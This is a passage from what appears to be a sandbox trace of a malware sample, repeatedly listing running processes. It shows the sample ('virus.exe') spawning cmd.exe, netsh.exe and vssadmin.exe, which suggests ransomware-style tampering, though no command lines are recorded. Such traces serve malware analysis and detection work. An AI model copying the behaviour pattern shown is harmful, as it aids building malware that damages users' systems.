th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0238.796] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0238.797] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.797] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0238.797] CloseHandle (hObject=0x1bc) returned 1 [0238.797] Sleep (dwMilliseconds=0x1f4) [0239.297] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1bc [0239.299] Process32FirstW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0239.300] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0239.300] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0239.300] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.301] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0239.301] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.301] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0239.302] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0239.302] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0239.302] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0239.303] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.303] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.303] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.304] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.304] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.304] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0239.304] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.305] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.305] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0239.305] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0239.306] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0239.306] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0239.306] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.307] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0239.307] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0239.307] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0239.308] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0239.308] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0239.308] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0239.309] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0239.309] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0239.309] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0239.310] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0239.310] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.310] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0239.311] CloseHandle (hObject=0x1bc) returned 1 [0239.311] Sleep (dwMilliseconds=0x1f4) [0239.812] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1bc [0239.814] Process32FirstW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0239.815] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0239.815] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0239.815] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.816] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0239.816] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.816] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0239.817] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0239.817] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0239.817] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0239.818] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.818] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.818] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.819] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.819] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.819] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0239.820] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.820] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.820] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0239.820] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0239.821] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0239.821] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0239.821] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.822] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0239.822] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0239.822] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0239.823] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0239.823] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0239.823] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0239.824] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0239.824] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0239.824] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0239.825] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0239.825] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.825] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0239.826] CloseHandle (hObject=0x1bc) returned 1 [0239.826] Sleep (dwMilliseconds=0x1f4) [0240.424] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ac [0240.453] Process32FirstW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0240.453] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0240.453] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0240.454] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0240.454] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0240.455] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0240.455] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0240.455] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, 